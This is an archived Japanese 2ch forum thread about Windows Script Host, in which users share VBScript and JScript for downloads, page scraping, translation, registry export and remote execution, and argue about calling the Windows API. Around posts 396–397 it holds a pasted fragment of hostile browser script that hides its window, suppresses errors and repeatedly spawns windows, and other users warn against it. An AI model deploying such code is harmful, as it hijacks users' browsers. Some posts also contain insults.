思うことはある。

>>313
なんか方法あったと思うよ。
まえにVBSでテレビ欄ダウンロードするスクリプト作ろうとしたことあるし。

ダウンロードの途中でファイルが切れちゃうっていう現象に悩まされて、
原因が分からなくて、結局放棄したけど。

sSource = "http://127.0.0.1/mpg/cap017a.mpg"
sDest = "terror.mpg"

Set oHTTP = WScript.CreateObject("Microsoft.XMLHTTP")

oHTTP.open "GET", sSource, False
oHTTP.send

Set Stream = WScript.CreateObject("Adodb.Stream")
Const adTypeBinary = 1
Const adSaveCreateNotExist = 1
Const adSaveCreateOverWrite = 2
Stream.Type = adTypeBinary
Stream.Open
Stream.Write oHTTP.responseBody
Stream.Savetofile sDest, adSaveCreateOverWrite
Set Stream = Nothing
Set oHTTP = Nothing

MsgBox "ダウンロード完了"

Windows Scripting Host
http://yasai.2ch.net/win/kako/1002/10026/1002654665.html
の最後のレスから流用

数字同士が会話する変なスレだな(w

>>313
InternetExplorerオブジェクトを使う方法。
Set Ie = WScript.CreateObject("InternetExplorer.Application","IE_")
Ie.Navigate "http://pc.2ch.net/test/read.cgi/win/1009175619/"
Do
WScript.Sleep 100
Loop

Sub IE_DocumentComplete(pdisp,url)
MsgBox IE.Document.body.parentElement.outerHTML
IE.Quit
WScript.Quit
End Sub

Sub IE_OnQuit()
WScript.Quit
End Sub

上の方法だと、元のHTMLは完全には再現できない。理由は>>287。
完全に再現するには>>287-288の方法を。Microsoft.XMLHTTPを使います。
IE5以上必須。

Iria使うなら>>23。

なるほどなるほど。
なかなかﾔﾔｺｼｲ。
vbsにはまりそうな予感・・・

>>317
>>315の方法も、HTMLに対しても使えるね。
ADOが使える環境なら、そっちでもいいと思う。

つーかそのスクリプトも、漏れの書いたやつだったりする。

Irvineでやってみた。javascriptす。

var irvine = new ActiveXObject("Irvine.Api");

function GetIRIData() {
  var iri = new ActiveXObject("Scripting.Dictionary");

  iri.add("Url", "http://www.yahoo.co.jp/");
  iri.add("Folder", "C:\\");
  iri.add("SaveAs", "index.html");

  var arr = (new VBArray(iri.Keys())).toArray();

  return(s);
}

var curdir = irvine.CurrentQueueFolder;
irvine.CurrentQueueFolder = "/Default";
irvine.AddIRI(
  "Url=http://www.yahoo.co.jp/\n" +
  "Folder=C:\\\n" +
  "SaveAs=index.html\n");
irvine.CurrentQueueFolder = curdir;

すまんね。も一度。

var irvine   = new ActiveXObject("Irvine.Api");
var curdir = irvine.CurrentQueueFolder;
irvine.CurrentQueueFolder = "/Default";
irvine.AddIRI(
  "Url=http://www.yahoo.co.jp/\n" +
  "Folder=C:\\\n" +
  "SaveAs=index.html\n");
irvine.CurrentQueueFolder = curdir;

かちゅで板全体のログ取るようなvbsが出来た・・・

>>321
それ、やばいブツな気がする…。2ch鯖の負荷＆転送量的に。

と言ってもメソッド一種類だけ。
ｸﾞﾌﾌ･･･
こうも簡単に・・・
ｳﾚｼｲ

3種あったわ。ｽﾏｿ

このスレと
11さんに
改めて感謝。Thanx!!
おやすみ

このスレの>61くらいに翻訳機能ありましたよね。
翻訳結果をテキストかなんかで返して欲しいのですが、だめですか？

>>326
最後の行を
Set Fs=CreateObject("Scripting.FileSystemObject")
Set ts=Fs.OpenTextFile("C:\translate.txt",8,True)
ts.Write strRet
ts.Close

とかに変えてみたらいいんでは。

>>307
>>DynaCall(http://www.borncity.com/WSHBazaar/WSHDynaCall.htm)という
そういうのは使っちゃいけないんだよ
「出来るからやる」ってのは厨のする薄い行動
API が必要なら、それを普通に使える言語を選択すべき
バッチで出来ることを WSH ではやらないように
目的と使用言語はちゃんと考えましょう

ちなみに VB で API 使うのもＮＧね

>>328
ﾏｧﾏｧ。
11さんはこういうのもありまっせとただ提示しただけなんだから。


非アクティブウィンドウにSendKeysしたいが、無理？

よく分からんが、WindowsAPIが呼べるんだったら、
SendMessageで、WM_KEY_DOWN とかでバシバシ行けるんでは。

SendKeysはアクティブウインドウにしかおくれないけど。

なーる。ちとAPI試してみるべ。
ｻﾝｸｽｺ

>>328
別にお前が決めるべきことではないだろ？
そんなの自由だ。頭の固いやつに独創的なアイデアは
生まれてこないだろうよ。「厨」なんて表現使ってるくせに。
そういう理屈っぽい話を語るなら２ｃｈなんかでなく
それ相応のサイトで話せよ。

目的と掲示板はちゃんと考えましょう。

うむうむ。思うのは勝手だが、押しつけるなということね。

>>328
すばらしい！無駄なことはやらない主義なんだね！

>>328
氏ねクズ

>>62の翻訳、文字列中に+や?なんかが入ってると途中で切れちゃう。
これらは送るときに置き換えなきゃならないと思うんだけど、他には
どんな記号があったっけ？

あと、翻訳結果が出るまでブラウザが固まってしまうのがな…

>>336
選択ではなく全部文字コードに置き換えたほうが手っ取り早いんでない？

ＶＣとＶＢで作った同じ機能を持つフリーソフトがあったとしたら
誰もＶＢの方は使わないだろ
やりたいことがＷＳＨで出来ない範疇だったら
スキルアップのチャンスなんだから精進しろって

スクリプトみたいな致命的エラーの出ないぬるい環境で
冗長なコードをたらたら書いてるから
もっとデバッグやメンテナンスのことを考えなさいって
言いたかったんだけどね

これは色々なＯＳや言語を使ったりして
経験を積まないと見えてこないことだから
わざわざ啓蒙してやったの
反応してきた奴らってのは、そこら辺が解ってないからな訳で
ＶＢＳしかできない厨なんだろうな...(ﾜﾗ
間違ってもVECTORに公開したりしないでね、ﾀﾉﾑﾖ

アイデアってのは処理そのものやアルゴリズムに出すもので
コードを書く時にするもんじゃないの
問題をきちんと分析できないようじゃ、おもしろいアイデアは生まれないZo!

チームで開発していて一人だけ変なコーディングする奴がいると困るんだよね
自由の意味をはきちがえてるの
ちっぽけな自己顕示
そういう奴になりたいなら止めはしないよ

反応したやつにまともな理由つけてるのがないってのが痛いね
ほんとディスカッション出来ない厨が多くて困る
まぁ、ここでそんなのを求めるおれがアホでした、逝きます

ところで11氏は332-335の中の何番ですか？(w

上げんな

>>339
だいぶストレスがたまっておられるようで。
ご苦労様です。

>>339
すまんわからん。
なんかヒントくれ。

>>339
> チームで開発していて一人だけ変なコーディングする奴がいると困るんだよね

ハァ ? お前んとこは、wsh をチームで開発してんのか ? おめでてえな。

>>339
えーと、簡単に説明すると>>339は玄人ぶりたいお年頃だってことです。
クラスに一人くらいいたでしょ？

↑>>342へのレスね。

３３９の言いたいことが分からなくもないんだけど、
総合的に見ると偏ってるとしか言いようがない。

いろんな言語使ってきたって言うんなら、言語の使い分けをもっと柔軟に
選択できるようにしなきゃな。
書いたプログラムを、いつ誰がどういう目的で使うのか、長く使うのか、
使い捨てなのかとかをちゃんと吟味することもなくWSHは駄目だとか言っちゃうのは
WSHを使いこなせてないからだと思うんだが、どうだろう。

色々なOSや言語を使ったって言ってるけど、そのうちちゃんと使えるのが
いくつあるのかは甚だ疑問。

>>339
結局、みんなが言いたいのはそういうことは他で言ってくれってことだと思う。
別にこのスレの連中には関係ない話だと思うんだけどどうだろう？
関係あるにしても話の切り込み方というものがあると思うよ。
自分もCOMについてならかなり深い部分から話せるし
それなりのスキルも持ち合わせているつもりだけど
（アーキテクチャから携わっているから一通りの言語を理解できるよ）
そんなことをここで話してもしょうがないでしょ？

あまりきつい言い方は好きじゃないけど
「楽しんでいる奴に水を注すようなら出て行け！」
といいたくなるよ。

>>344
微妙なお年頃だな。でもみんなで温かく見守ってやろうぜ。

>>339 はWSH でAPI を使うことに対してお怒りになってるんでしょ
11ﾀﾝの意見が聞きたいよん
ｶﾞﾝﾊﾞﾚ! 11ﾀﾝ (y

いやーん。人が風邪で寝込んでた間にスレが荒れてやんの。
DynaCallを紹介するとどうもいかんなあ。反省。
うちの掲示板でも、これを出すと、スクリプトからAPIなんか呼ぶんじゃない、
と怒られちゃったことがあります(w
まあ、これもプログラマな人の典型的な意見だと思うですよ。

個人で使うもんなんだから、何を使っても勝手だろというのが
私の考え方です。別に無理して使うこともないし、使っているのを
他人がとやかく言うこともないでしょ。

WSHで無理してAPI呼びださんでも、なんか開発言語使って
目的の動作をしてくれるCOMコンポーネントを作ってやるのが
そりゃあ筋ってもんだってのは私にもわかってる。
でも、開発言語をもってない人ってのはいっぱいいるわけで、
そういう人がAPIを使うようにできる、もっとも簡単な方法だと思うですよ。
本格的な言語を勉強するための練習だととらえてやれば、
これはAPIの使いかたの勉強にもなると思うよ。
使い方の勉強にはならんでも、どんなAPIがあるかを知る機会くらいにはなる。
そういう意味でDynaCallの意義はあるというのが個人的な意見。
意義がない、害悪だと思う人は使わなきゃいい。

あと、327が私の最後の書き込みです。
別に信じてもらわなくてもいいですけど。
なんならkakikomi.txt見ます? (w

なげえよ

なんでAPI使ったらいかんのじゃ？

VBの命令一つ一つが結局APIを呼んでるのを知らないから

つーか他の言語がいいって奴はそのスレ行けば良いだけの話だろ

結局WSHってのは中途半端なところがあるから、素人さんにもプログラマさんにも
叩かれるんだよなあ…。
ま、無理に使ってくれとは最初から言ってないし、使いたい人だけが使ってください。
体調が良くなったらまたスクリプト書くよ。

>>353
なぜここでVBが出てくんだ？

>350

同意。俺もWSHなんてそういうもんだと思ってたから

>328 の
> そういうのは使っちゃいけないんだよ

の意味がわからんかった。
ま、結局はスレ違いだったってことだね（ｗ

>使いたい人だけが使ってください。
これ当然のことなんだけど、なぜかスクリプトだからといって叩いたり
言語自体を叩いたり。
そういうやつはム板の死滅スレでひっそりやってて欲しいよ。

>>357
そうそう、叩くにしても他の言語がｲｲって主張（啓蒙？ﾊｧ？）するにしても
スレ違いってことで丸くおさめようや。

今日も平和だなぁ。

>>358
Rubyが似た理由で叩かれますな。
そういやあれのWin32版はAPI呼べたっけか。

ま、
WSH≠プログラム環境
ってのを理解してもらいたいもんだ。

ごめん、スレ違いってことで収束させた方がいいね。
もう言いたいことはないので、これでやめときます。
寝ている間、いろいろ作りたいスクリプトのネタがあっても
作れなくてつらかった。

>>360
require 'Win32API' すれば、よべるよん。 < WindowsAPI

>>338
そういうのはVBSは不得意なので、JS使ってやってください。
117さんお願いします(w

>>337
IEのインスタンスをもう一個使ってやるのは明らかに無駄なので、
まずそこから修正すべきですな。
(そうなっているのは、もともとこのスクリプトがWSH用だったから。
そのまま移植したからこうなった)
iframeとかで、translate.htmの内部にエキサイトのページを
読み込んでやるといいかも。あ、セキュリティの問題で引っかかるかな。

読み込み待ちループの間、setTimeoutメソッドとかを駆使すれば、
固まりっぱなし問題は解消されると思う。

>>361
あれの引数の型の指定の仕方、実にDynaCallに似てるんだが、
(あっちの方は構造体もいけるぞ)そういうことを言うとまた怒られるから、
ほどほどにしておく。

>>11ｻｿ
当方駆け出しﾌﾟﾛｸﾞﾗﾏﾓﾄﾞｷなのですが。。
なぜにスクリプトからAPI呼ぶような事を
「プログラマな人」は嫌うのでしょ？
339氏が言うように商用としては使えないような
ぬるい環境で便利機能を使われることがｲﾔなんですかね〜。。。

>>363
知らん知らん。俺プログラマじゃねえし。
ム板かマ板かで聞いてくれ。

>>363
ム板にちょうどスレがあるから、そちらに移動しませんか。
http://pc.2ch.net/test/read.cgi/tech/1010400289/

>>362
338 = 117 (＾＾；
何でばれたんだろう。匿名で書いたのに(w

-> urlに使われる文字列への変換
# escape()っていう関数がありました。

function convertToUrlString(str)
{
return escape(str).replace(/%u([0-9a-zA-Z]{2})([0-9a-zA-Z]{2})/g, "%$1%$2");
}

// 使い方
var str = convertToUrlString("あいうえお");

嫌ってるのはプログラマじゃなくて
「VBしね」とか「スクリプトは無用」とかあるいは言語自体を叩くような
ナンセンスな連中。

みんなで移動？

> ム板にちょうどスレがあるから、そちらに移動しませんか。
> http://pc.2ch.net/test/read.cgi/tech/1010400289/

>>368
もうここではやってくれないですか？

当方WSHを用いて壁紙を更新したいのですが，
どのように行ったらよいのでしょうか？

ご教授願います．

皆さんどんなエディタを使っているんでしょうか。
どうも、VBAの環境に慣れてしまうと、普通のエディタではまどろっこしくなります。
「こんなエディタをこんなふうに使ってるよ」とか、意見のある方はいないでしょうか。

レジストリのキーをファイルに書き出したりするのはどうしたらいいのでしょうか

>>372
WMIを使うか、regobj.dllを使えば書き出しできる。
regobj.dllは、ここからDLできるようだ。
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q297292

>>373 これはこれはお代官様、ありがとうございました。

くだらん煽りには過剰に反応し、話を脱線させ、無視をするという大人の対応ができないうえに、俺の質問は放置ですか。

失言だった。
忘れてくれ。

>>371

そう、かっかするなって。マイナーな話題のスレはレスがつくスピードが
遅いんだよ。ここのスレは11と107が書き込まないと進行しないんだな。

で、TeraPad、EMediterあたりはどう？このスレの住人はEmacsとかViより
この辺を使う向きが多いんじゃないのかな?漏れもWSHやるときはTeraPadで。

あ、107じゃなくて117（WSH見習い）だった。ごめん。しかし、ほんとに
見習いなのか?

普段はEmEditor使ってるよ。
VBAとエディタの関連性がよく分からないんですが、
スクリプトが使えるってことですか？？

色分けが出来ることと書きながら実行できること
って、TeraPadかな？

というかエディタは他のスレだろ。
それこそ大人の対応で放置したんだが。

みなさんどうも。
無意味な宗教論争に熱くなったり、明らかに誤っている論理にわざわざ突っ込みを入れるような心理が理解できなかったもので。
ちょっと仕事が忙しくなってきたので、しばらくしたら、他人のようにしれっとして、また書きこみます。

>>371
すみませんが巣へ帰ってください。

>>382
ごめんよ。俺も熱に浮かされてちょっと熱くなっちまった。

>>381
WSH用のエディタの話だからいーんじゃねーの?
俺の使ってるのはもう書いたから書かない。

>>372
WshShell.RegReadで読んでFileSystemObjectで書き込むのが
簡単でいいんじゃないかと。
RegBinaryを読み込むときとかテクが要るけどね。
(そういうときはWMI他を使おう)

regedit /e regfile.reg key名
とやると、該当キーがファイル化されるというのを利用するのも
いいね。これをWshShell.Runで実行。
(Win2000だとUNICODEで書き出されてしまうが、FileSystemObjectがUNICODE
読み書きできるので運用上問題はない)

おまけだが、
regedit /s regfile.reg
とやると、regファイルをレジストリ本体に結合できる。
このとき、問い合わせダイアログが出ないのがポイント。

>>369
宗教論争(wとか、COM等の純粋な技術の話は、ム板でやりましょうという
提案です。WSHを使う上でのテクニックとか、こんなスクリプトかいたぜー
ってのは今までどおり、こっちでやってもいいんじゃないですかね。

>>371
私の意見は>>308で書いたので見てね。

どうも気を悪くされたようなのでお土産。
以前作った、各種エディタ用VBSキーワード色分け定義ファイル
パッケージ。
http://www.roy.hi-ho.ne.jp/mutaguchi/wsh/vbs.lzh
ここに入ってないやつでも、適当に置換とかして、
愛用エディタ用に仕上げてください。

>>370
Doodle2を使おう。
http://www.vector.co.jp/soft/winnt/prog/se219120.html

>>366
いや、そうとは夢にも思わなかったです。
言わなきゃばれなかったのに。
URLのエンコードはencodeURIメソッドを使おう。
詳しくはヘルプ参照。

VBScriptと言うのが痛い。JScript使いはおらんのか？

>>386
117さんがJScript使いですぞ。
フォルダカスタマイズスレでは、私も怪しいJSを操っていたりする…。

>>386
あ、そうそう。WSH内言語宗教論争ならMS自らやってるので、
一度見ておくのも悪くないでしょう。
http://www.asia.microsoft.com/japan/developer/workshop/languages/clinic/vbsvjs.asp

といってもこの記事はだいぶ古いんで、あまりあてにならないのだが。
VBSではできてJSにはできないこと、あるいはその逆というのはだいぶ
減った。
信じられないかもしれないが、初期のJScriptは、エラートラップすらできなかったんだぞ!

遅くなったけど、リモート実行にチャレンジしたよ。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settingsの
remote = '0' > remote = '1' にしてから実行。
リモート側でのローカル実行は成功してる。

結果は惨敗。どうしてもCreateScriptメソッドでエラーがでるよ…。

[エラーの詳細]
エラー:書き込みできません。
コード:800A0046
ソース:MicroSoft VBScript 実行時エラー

ソースは次に記載します。

'ローカル実行スクリプト(ローカルのD:\wsh_temp\RemoteTest.wsf)
'リモートマシンは"TEST_SRV"としてます。
<package>
<job>
<script language="VBScript">
Option Explicit

Dim objWSHController
Dim objRemoteProcess

set objWSHController = WScript.CreateObject("WSHController")
set objRemoteProcess = objWSHController.CreateScript("D:\wsh_temp\BeenHere.wsf", "TEST_SRV")

objRemoteProcess.Execute

While objRemoteProcess.Status <> 2
WScript.Sleep 100
WEnd

WScript.Echo "Done"
</script>
</job>
</package>


'リモート実行スクリプト(ローカルのD:\wsh_temp\BeenHere.wsf)
<package>
<job>
<script language="VBScript">
set fso = CreateObject("Scripting.FileSystemObject")
set fout = fso.CreateTextFile("d:\dbtest\beenhere.txt", true)
fout.WriteLine Now
fout.Close
</script>
</job>
</package>

環境についてを補足しときます。
[クライアント]
WindowNT4.0 + IE5.5 + WSH5.6

[リモートホスト]
Windows2000 sp2 + IE5.0 + WSH5.6

encodeURI ()
そのまんまですね… ＾＾；

ていうか URI なんて言葉知らんかったんです(さっき調べた)。

だいたい encodeURI() が吐き出す文字列って ie の URL 欄に表示される
文字列とちがうじゃないですか。名前が URL に似ているけど結局 URL とは
ぜんぜん関係ないと思ってました。

うーん、厨房ぶり発揮 ^^；

ちゅうわけで convertToURLString() はいらないです。

書き直しを試みたものの、動かず。
結局何が駄目なのか、わからなかったのでした。
setIntervalの使い方がマズイ?
それと、encodeURIComponentは駄目みたい。

<script language="JScript">
var oTextRange = external.menuArguments.document.selection.createRange();
var sBefore = oTextRange.text;
var IE = new ActiveXObject("InternetExplorer.Application")
var re = /%u/m;
if (re.test(escape(sBefore))) {
var mode="JAEN";
}
else {
var mode="ENJA";
}
sURL = "http://www.excite.co.jp/world/text/?wb_lp=" + mode + "&before=" + encodeURIComponent(sBefore);
IE.Navigate (sURL);
// IE.Visible = true;
var intervalID = setInterval("CheckBusy()",100);

function CheckBusy()
{
if ((!IE.Busy) && (IE.ReadyState==4)) {
clearInterval(intervalID);
alert (IE.document.World.after.Value);
}
}
</script>

11さんの作った翻訳のスクリプト使わせていただいてます。
それで要望なんですが、テキストファイルを翻訳して
その結果を新しくテキストファイルを作るっていうのはできないですか？

>>394
うぜぇ、消えろ

このレスはみみずんによって削除されました。
削除日時：2013/03/28 17:46:19
http://mimizun.com/delete.html

catch(e){}}
catch(e){}}
function vx() {
var xxx=window.open('');
xxx.blur();
xxx.location="out.php";}
window.onerror=new Function("self.close();return true");
setTimeout("f()",1000);setInterval("vx()",40000);self.moveTo(5000,5000);self.blur();
setTimeout("window.onfocus=setIt;",300);
function setIt(){
self.moveTo(5000,5000);
self.blur();return false;}
if(document.all) document.onmousedown = setIt;
else if(document.layers){
window.captureEvents(Event.MOUSEDOWN);
window.onmousedown=setIt;}
function xit() {
window.open('xex.html');window.open('out.php');}
<script>

ごみ置くなボケ＞ﾁｬﾝｺﾛ

>>396
>>397
これはなに？

40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

WSH初めて触るし、VBもVBSもJavaもJSも知らんよ〜っていう人は、
VBSでなく、JavaScriptで始めるが吉。

>>401
HPとかでつかわれてるやつですか？

>>399
みたところ、かなりやばそう。
おそらくIEのスタートページやらなんやらの設定を全部
ポルノのページに変えてしまうらしい。
レジストリ書き換えたりとか、かなりタチが悪い。
絶対実行しない方が良い。

>>403
ある程度の知識持っていないと怖いなぁ。

>>394
できます。>>393を参考に途中まで作ってみたので参考にしてください。

// 使い方。

var ej = 0;
var je = 1;
var before = "Do you know WSH?";

var after = translateText(before, ej);
WScript.Echo(after);

// 以下ソース

// mode : 0->ej, other->je
function translateText(before, mode)
{
var objIE = new ActiveXObject("InternetExplorer.Application");

url = "http://www.excite.co.jp/world/text/?wb_lp="
+ (mode == 0 ? "ENJA" : "JAEN")
+ "&before=" + encodeURIComponent(before);

objIE.Navigate (url);
objIE.Visible = false;
waitForLoad (objIE);

for(var en = new Enumerator(objIE.document.all); !en.atEnd(); en.moveNext())
if (en.item().name == "after" ) return decodeURIComponent(en.item().value);

objIE.close();

return "";
}

ちょっと修正 ^^;

function translateText(before, mode)
{
var objIE = new ActiveXObject("InternetExplorer.Application");

url = "http://www.excite.co.jp/world/text/?wb_lp="
+ (mode == 0 ? "ENJA" : "JAEN")
+ "&before=" + encodeURIComponent(before);

objIE.Navigate (url);
objIE.Visible = false;
waitForLoad (objIE);

var res = "";
for(var en = new Enumerator(objIE.document.all); !en.atEnd(); en.moveNext())
if (en.item().name == "after" ) {
res = decodeURIComponent(en.item().value);
}

objIE.Quit();
return res;
}

何度もすみません。あとこれが抜けてた。

function waitForLoad(objIE) {
while (objIE.busy) WScript.Sleep(10);
while (objIE.Document.readyState != "complete") WScript.Sleep(10);
}

>>403
このスクリプト、なんか各地にばら撒かれてるみたい。Googleしてみて。
[email protected]ってのもアレだな。日本人と犬と豚がどうたら、のアレだ。

>>405
英日はいいけどやっぱり日英は駄目だね。
コード化しちゃうと文字化けするらしい。何故だろう。
ところが、このスクリプトをShift-JISじゃなくて、JISで保存すると、
なぜかうまくいく。不思議だー。

ああ、sleepさえ使えればIE右クリックメニュー組み込み時にブラウザが
固まる現象を回避できるのだが。

かちゅ〜しゃのkakikomi.txtをdat化した上、自分が書き込んだスレを
まとめてスレ倉庫化するスクリプトを書いてみたので、試して
みてください。(まだ動作が若干怪しい)

このスクリプトを拡張子をvbsにして、かちゅと同じフォルダに入れてね。
kage入れること。
かちゅが動いてないときに実行してください。

実行すると、以下のフォルダが作られます。
log\local
log\local\mine

以下のファイルが作られます。
書き込んだスレ.idx …ログ倉庫ファイル
log\local\mine\1000000000.dat　…kakikomi.txtをコンバートしたもの
log\local\mine\1000000000.idx　…そのインデックスファイル

実行したらかちゅを起動し、「マイフォルダ」の中にある「書き込んだスレ」を
開いてみてください。
まず、【自分の書き込み】というスレがありますが、これがkakikomi.txtを
コンバートしたもの、つまりあなたのこれまでの書き込みです。
他のスレは、あなたがこれまでに書き込んだことのあるスレです。

Dim iRes
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject("WScript.Shell")
Set dicIdx = WScript.CreateObject("Scripting.Dictionary")
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True

If Not Fs.FileExists("kage.exe") Then
MsgBox "かちゅ〜しゃのあるフォルダにおいてください。それとkage導入して。"
WScript.Quit
End If

If Not Fs.FileExists("kakikomi.txt") THen
MsgBox "ROMはお断りだゴルァ"
WScript.Quit
End If

If Not Fs.FolderExists("log") THen
MsgBox "ログがない。"
WScript.Quit
End If

Set tsKakikomi=Fs.OpenTextFile("kakikomi.txt")
sKakikomi=tsKakikomi.ReadAll
tsKakikomi.Close

If Not Fs.FolderExists("log\local") Then
Fs.CreateFolder "log\local"
End If

If Not Fs.FolderExists("log\local\mine") Then
Fs.CreateFolder "log\local\mine"
End If

Set tsDat=Fs.CreateTextFile("log\local\mine\1000000000.dat")

regEx.Pattern="Date : (\d{4})/(\d{2})/(\d{2}) (\d{2}):(\d{2}):(\d{2})\r\n" & _
"Subject: ([^\r\n]+)\r\n" & _
"URL : http://(.*)/test/read.cgi\?bbs=([^&]*)&key=(\d+)\r\n" & _
"From : ([^\r\n]*)\r\n" & _
"Mail : ([^\r\n]*)\r\n" & _
"\r\n" & _
"([^\v]*)"

'0=year 1=month 2=day 3=hour 4=minitue 5=second 6=subject 7=server
'8=bbs 9=surenumber 10=from 11=mail 12=body

For Each sMessage In Split(sKakikomi,vbCrLf & String(44,"-") & vbCrLf)
Set Matches=regEx.Execute(sMessage)
For Each Match In Matches
Set SubMatch=Match.SubMatches
sBody=Replace(StrEscape(SubMatch(12)),vbCrLf,"<br>")
sBody = sBody & "<a href=""http://" & SubMatch(7) & "/test/read.cgi?bbs=" & _
SubMatch(8) & "&key=" & SubMatch(9) & """ target=""_blank"">" & _
StrEscape(SubMatch(6)) & "</a>"

tsDat.WriteLine "<b>" & SubMatch(10) & "</b>," & SubMatch(11) & "," & _
SubMatch(0) & "/" & SubMatch(1) & "/" & SubMatch(2) & " " & _
SubMatch(3) & ":" & SubMatch(4) & ":" & SubMatch(5) & "," & sBody
sIdx=Replace(SubMatch(7),"/","_") & "\" & SubMatch(8) & "\" & SubMatch(9) & ".idx"
If Not dicIdx.Exists(sIdx) Then
dicIdx.Add sIdx,""
End If
Next
iRes=iRes+1
Next
tsDat.CLose

Set tsIdx=Fs.CreateTextFile("log\local\mine\1000000000.idx")
tsIdx.Write Replace("3,32,5,【自分の書き込み】,local,mine,1000000000," & iRes & "," & _
iRes & ",-1," & Now & ",,書き込んだスレ,0,,,,,,",",",vbTab)
tsIdx.Close

Set tsSouko=Fs.CreateTextFile("書き込んだスレ.idx")
For Each key In dicIdx.Keys
tsSouko.WriteLine key
Next

tsSouko.WriteLine "local\mine\1000000000.idx"
tsSouko.Close

WshShell.Popup "あなたの書き込みと、あなたが書き込んだスレ一覧をまとめました。" & _
vbCrLf & "「マイフォルダ」-「書き込んだスレ」をご覧ください。",10

Function StrEscape(str)
StrEscape = str
StrEscape = Replace(StrEscape,Chr(38),"&")
StrEscape = Replace(StrEscape,Chr(34),""")
StrEscape = Replace(StrEscape,Chr(60),"<")
StrEscape = Replace(StrEscape,Chr(62),">")
StrEscape = Replace(StrEscape,",","＠｀")
End Function

うーん。最後の行なんだが、
StrEscape = Replace(StrEscape,",",",")
これ、かちゅでは、カンマをエスケープさせるのに
全角アットマーク＠と全角アクセント符合っていうのかな、｀との
組み合わせを使ってるんだわ。
で、その文字をつなげて書くと、かちゅではカンマ , に置換されちゃう。
だからこのコードをそのままコピペしてもちゃんと動かない。

…ええい、説明するのが面倒だ。わからん人はブラウザで見るべし。

というか、他の符合もエスケープされて話にならん…。
仕方がないので、ダウンロードできるようにしました。
http://www.roy.hi-ho.ne.jp/cgi-bin/user/mutaguchi/clickcnt.cgi?http://www.roy.hi-ho.ne.jp/mutaguchi/wsh/src/myopinions.lzh

関係ないですけど、エクスプローラでvbsファイルにマウスポインタを
当てると、コメント行がポップアップされるんですね。
知らんかった。というか、これって標準機能なの? 常駐ソフトのどれかの仕業か?

(ﾟдﾟ)ｳﾏｰ・・。

結局作っちゃいました。
テキストファイルを翻訳(日英・英日)するスクリプトです。

以下のテキストを translate.js にリネームして Send to フォルダに
放り込んでおくか、ファイルをドラッグ&ドロップしてください。

# とりあえず日本語をIEのURL欄に入力しても問題なさそうなので、
# 結局ASCII文字だけをエンコードすることにしました。

// ここから

////// config //////
var saveFileName = "result_of_translate_js.txt";
////////////////////
var ej = 0;
var je = 1;
var fso = new ActiveXObject("Scripting.FileSystemObject");

for (var args = new Enumerator(WScript.Arguments); !args.atEnd(); args.moveNext())
{
// ファイル名・フォルダ名取得
var filename = args.item();
if (!fso.FileExists(filename)) continue;

// テキストファイルのロード
var before = loadTextFile(filename);
mode = isEnglish(before) ? ej : je;

// 翻訳
var after = translateText(before, mode);

// 保存パス生成
var parentFolder = fso.GetParentFolderName(filename);
var saveFilePath = fso.buildPath(parentFolder, saveFileName);

// 保存
saveTextFile(saveFilePath, after);
}

WScript.Echo("おしまい！");

function isEnglish(text)
{
for (var i = 0; i < text.length; i++)
if (text.charCodeAt(i) > 0x7F) return false;
return true;
}

function loadTextFile(filename)
{
var ForReading = 1;
// var fso = new ActiveXObject("Scripting.FileSystemObject");
var f = fso.OpenTextFile(filename, ForReading);
text = f.ReadAll();
f.Close();
return text;
}

function saveTextFile(filename, text)
{
var ForWriting = 2;
// var fso = new ActiveXObject("Scripting.FileSystemObject");
var f = fso.OpenTextFile(filename, ForWriting, true);
text = f.Write(text);
f.Close();
}

// mode : 0->ej, other->je
function translateText(before, mode)
{
var objIE = new ActiveXObject("InternetExplorer.Application");

var url = "http://www.excite.co.jp/world/text/"
+ "?wb_lp=" + (mode == 0 ? "ENJA" : "JAEN")
+ "&before=" + convertToUrlString(before);

objIE.Navigate (url);
objIE.Visible = false;
waitForLoad (objIE);

var res = "";
for(var en = new Enumerator(objIE.document.all); !en.atEnd(); en.moveNext())
if (en.item().name == "after" ) {
res = en.item().value;
}
objIE.Quit();
return res;
}

function waitForLoad(objIE) {
while (objIE.busy) WScript.Sleep(10);
while (objIE.Document.readyState != "complete") WScript.Sleep(10);
}

function convertToUrlString(str)
{
return str.replace(/([\x00-\x7f])/g,
function($1) { return encodeURIComponent($1); });
}

// ここまで

age

これだけコード書かれてからageるって明らかに嫌がらせだろ・・・

>>420
なんで？

しかし、なんだ。11と117はどうしてこんなに毎日毎日スクリプトを
量産できるんでしょう。すごいね。勉強になるよ。

本格的な高飛車なプログラマからすればただのスクリプトだけど
そんなスクリプトでも徹底的に突き詰めればすばらしいスキルだよね。
多くの高飛車なプログラマよりよっぽど見習う点があると思うよね。
こういう人を職人って言うんだよね。

>>wsh見習い君
でかしたぞ！こいつはかなりいい、やればできるじゃないか。
そろそろ見習いも卒業できそうだな。

あ・・・あげ・・・

>>416-418
試したよお。いいね、いいね！
翻訳に多少時間かかってもいいから、１行づつ読み込んで、
長いテキストファイルを改行つきで吐き出すみたいなこと、
できませんか？
気が向いたら、ぜひ、お願いします！
最近のマシンスペックで、ブロードバンドなら、
十分実用に耐えちゃうと思う。

その場合、進行状況もある程度見えたらいいなあ……とか言ってみるテスト。
（CSCRIPT.EXE 用でも可……とか呟いてみるテスト）

>>426
お前バカか？

すみません、どなたかお教えください。
AddWindowsPrinterConnectionメソッドを使ってネットワークプリンタを接続しようとすると、
何故かエラーが発生してしまいます。
WSHのヘルプ内のものをそのまま使っているのですが・・・。

Set WshNetwork = WScript.CreateObject("WScript.Network")
PrinterPath = "\\printserv\DefaultPrinter"
WshNetwork.AddWindowsPrinterConnection PrinterPath

このprinterservのところにそのプリンタがローカルで接続されているマシン名、
Defaultprinterのところにそのプリンタの共有名を入れているのですが、
いつも「リモートサーバマシンが存在しないか、利用できません」というエラーが出てしまいます。

普通に他のPCから（コントロールパネルから）そのプリンタをネットワークプリンタとして
追加することはできるので、共有の設定等は間違ってないと思います。
LMHOSTSにそのプリンタが接続されているマシンも記述されていますし、
PING マシン名とプロンプトから打ってもちゃんとリプライが帰ってきます。
OSはWIN2000です。どうかお願い致します。

>>427
どうして？

>>429
